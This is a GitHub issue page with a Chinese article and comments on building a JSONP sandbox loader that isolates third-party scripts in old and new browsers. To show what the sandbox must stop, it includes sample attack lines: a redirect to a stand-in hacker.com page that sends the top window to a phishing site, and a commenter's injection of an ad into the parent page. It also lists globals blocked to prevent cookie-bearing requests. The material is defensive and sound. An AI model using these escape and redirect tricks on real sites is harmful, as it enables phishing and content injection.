jsonp-sandbox icon indicating copy to clipboard operation
jsonp-sandbox copied to clipboard

WEB 安全:JSONP 沙箱技术实现

Open aui opened this issue 9 years ago • 7 comments

2005 年 12 月,Bob Ippolito 正式提出 JSONP,以实现跨域请求 JSON 数据。目前 JSONP 已经是业界流行的跨域数据获取方案。

JSONP 原理

它的原理是通过 <script> 标签实现跨域加载服务器动态输出的脚本,并执行指定函数回传数据。例子如下:

// 页面预先定义好函数
window._users = function(data) {
  console.log(data);
}
<!--请求 JSONP 脚本-->
<script src="http://api.example.net/users/aui/?callback=_users"></script>
_users({
  id: 'aui',
  name: '糖饼',
  github: 'https://github.com/aui'
})

安全问题

引用站外脚本会让任何内容有机会注入到网站中:

  1. 如果 JSONP 源被黑客攻陷,网站也可能会受到攻击。
  2. 如果传输过程中被运营商劫持,网站可能会弹出广告(这个问题非常具有中国特色)。

JSONP 到目前为止依然还是一个未列入标准的技术方案,有人提出定义 JSONP 严格安全子集,使浏览器可以对 MIME 类别是 application/json-p 请求做强制处理,严格限定 JSONP 的权限,但是目前依然没有得到浏览器支持。

沙箱技术

iframe

如果利用 <iframe> 创造一个新的执行环境来加载站外脚本,这样可以为 JSONP 提供一层简单的防御。

window._users = function(data) {
  console.log(data);
}

var iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);

var contentDocument = iframe.contentWindow.document;
contentDocument.open();
contentDocument.write('<html><head>' +
    '<script>window._users = parent._users;</script>' +
    '<script src="http://api.example.net/users/aui/?callback=_users"></script>' +
    '</head><body></body></html>');
contentDocument.close();

但是 <iframe> 并非与页面完全隔离,攻击者使用 topparent 等变量可以轻易的拿到页面的全局对象,使得防护失效。

HTML5 sandbox

HTML5 为 <iframe> 提供了 sandbox 属性,通过指令来控制 <iframe> 的权限。sandbox 开启后会隔离与父页面访问,页面与 <iframe> 通讯可以使用 HTML5 parent.postMessage(message, targetOrigin) 通讯。

window._users = function(data) {
  console.log(data);
}

window.onmessage = function(event) {
    var data = event.data;
    window._users(data);
};

var iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.sandbox = 'allow-scripts';
iframe.srcdoc = '<html><head>' +
    '<script>window._users = function(data) {'+
        'parent.postMessage(data, "*")' +
    '};</script>' +
    '<script src="http://api.example.net/users/aui/?callback=_users"></script>' +
    '</head><body></body></html>';

document.body.appendChild(iframe);

启用 sandbox 后,如果 JSONP 脚本窃取 Cookie 或者篡改父页面都会被浏览器阻止。

IE 与 sandbox

IE 只有 IE10 以及更高版本支持 sandbox,在低版本 IE 浏览器中可以使用重写技术(override)来实现 sandbox 特性:重写 topparentdocuemnt 等危险全局变量,使得外部脚本无法获取其引用。

黑魔法

在 IE 中删除、重写内置全局变量,常规的操作都将会失败,例如:

delete window.parent;
window.parent = undefined;
this.parent = undefined;
var parent = undefined;
console.log(parent.toString()); // [object Window]

但定义同名函数却可以覆盖,这也是目前已知的唯一方式。

function parent(){}
console.log(parent.toString()); // function parent(){}

由于函数声明后会被“提升”,从而无法引用原始全局变量。

var host = parent;
function parent(){}
console.log(host.toString()); // function parent(){}

好在 IE 有 execScript() 这个独有的方法可以在全局环境编译字符串运行,结合闭包便可以私有化指定的全局变量。

(function(parent) {
    if (window.execScript) {
        execScript('function parent(){}');
    }
    console.log(parent.toString()); // [object Window]
})(parent);
console.log(parent.toString()); // function parent(){}

这样只有内部函数可以获取到父页面引用进行跨窗口通讯,而外部脚本无论如何也拿不到真正的 parent 了,从而实现与父窗口隔离。

为了安全起见还可以全部重写 window 可枚举的属性以绝后患。

if (window.execScript) {
    var code = [];
    var blackList = window;
    for (var key in blackList) {
        code.push('function ' + key + '(){}');
    }
    code = code.join('');
    execScript(code);
}

对于无法枚举的危险全局变量可以显式声明黑名单,禁止 IE 浏览器发送通讯请求,因为这样会带上站内 Cookie 从而引发安全风险。

blackList.Image = true;
blackList.ActiveXObject = true;
blackList.XMLHttpRequest = true;
blackList.execScript = true;

上述代码似乎一切都考虑妥当了?然而 IE9 却有个致命的问题:documentlocation 是常量,无法被覆盖。

document

由于 <iframe> 的 Cookie 是与父页面共享的,也就是说通过 document.cookie 可以轻松窃取到 Cookie。

document.cookie = 'hello world';
delete document.cookie;
console.log(document.cookie); // hello world

好在 IE9 可以访问 document 的构造函数,而 document.cookie 是其原型上的一个 "getter"、"setter" 属性,如果删除原型的对应属性即可让其失效。document 的继承关系为:HTMLDocument->Document->Node,清理其原型链即可。

function removeProto(name) {
    var controller = window[name];
    if (controller) {
        var proto = controller.prototype;
        for (var key in proto) {
            if (key !== 'close') {
                try {
                    delete proto[key];
                } catch (e) {}
            }
        }
    }
}
removeProto('Node');
removeProto('Document');
removeProto('HTMLDocument');
console.log(document.cookie); // undefined
console.log(document.body); // undefined
console.log(document.createElement); // undefined

至此,IE9 下 document 已经残废,其不但无法访问 document.cookie 甚至连 document.createElement 等基础 DOM API 都无法使用了。

location

由于 location 无法通过删除原型链的方式进行破坏,这意味着外部脚本有机会将 <iframe> 内部页面导航到新的地址中去。

location = 'http://hacker.com/goto.html';

<iframe> 被重载后,沙箱内的环境也将被重置,所有权限都将会被泄漏。

<!-- http://hacker.com/goto.html -->
<script>
top.location = 'http://fishing.com';
</script>

虽然无法破坏 location,IE 却可以使用 unload 事件中实现沙箱“自杀”,从而阻止安全风险。

if (window.addEventListener) {
    addEventListener('unload', killSandbox);
} else {
    attachEvent('onunload', killSandbox);
}
function killSandbox() {
    location.href = 'about:blank';
}

经过周密防范后,运行在此 <iframe> 的外部脚本几乎只有运行回调函数的权限,达到目标。

后记

基于 sandbox 的 JSONP 加载器代码已经开源:https://github.com/aui/jsonp-sandbox

JSONP.get('http://api.example.net/users/aui', function (data) {
    console.log(data);
});

aui avatar Oct 15 '16 10:10 aui

值得借鉴。 top.document.getElementById('code') = false; //这个写得太急了吧 throw Error('沙箱失效!');

scscms avatar Oct 21 '16 02:10 scscms

@scscms 已经修复

aui avatar Oct 21 '16 02:10 aui

IE8下:先把top.location = './inc/proxy.html';改成location.href = './inc/proxy.html'; 在inc/proxy.html仍可访问top var div = document.createElement("div"); div.innerHTML = "我是广告"; top.document.appendChild(div);

scscms avatar Oct 21 '16 03:10 scscms

@scscms 已经修复:

if (window.addEventListener) {
    addEventListener('unload', killSandbox);
} else {
    attachEvent('onunload', killSandbox);
}
function killSandbox() {
    location.href = 'about:blank';
}

aui avatar Oct 21 '16 04:10 aui

系统:iOS 微信版本号:6.3.30

微信里的浏览器支持拥有iframe的sandboxsrcdoc属性,却不支持设置srcdoc

calledt avatar Nov 07 '16 06:11 calledt

Safari 以及其他第三方 App webview 正常,这可能是微信 webview 禁用了此特性

aui avatar Nov 07 '16 14:11 aui

在IE几个版本下好像并没有解决请求的js含有location.href="http://www.x.com/1.html"问题,1.html可以正常访问top,parent(注意jsonp可只返回locaton.href="...") 另:location.href="xx"在ie10及11下只能使用beforeunload监听(刷新可用unload),但并不能阻止其跳转!!

scscms avatar Dec 07 '16 08:12 scscms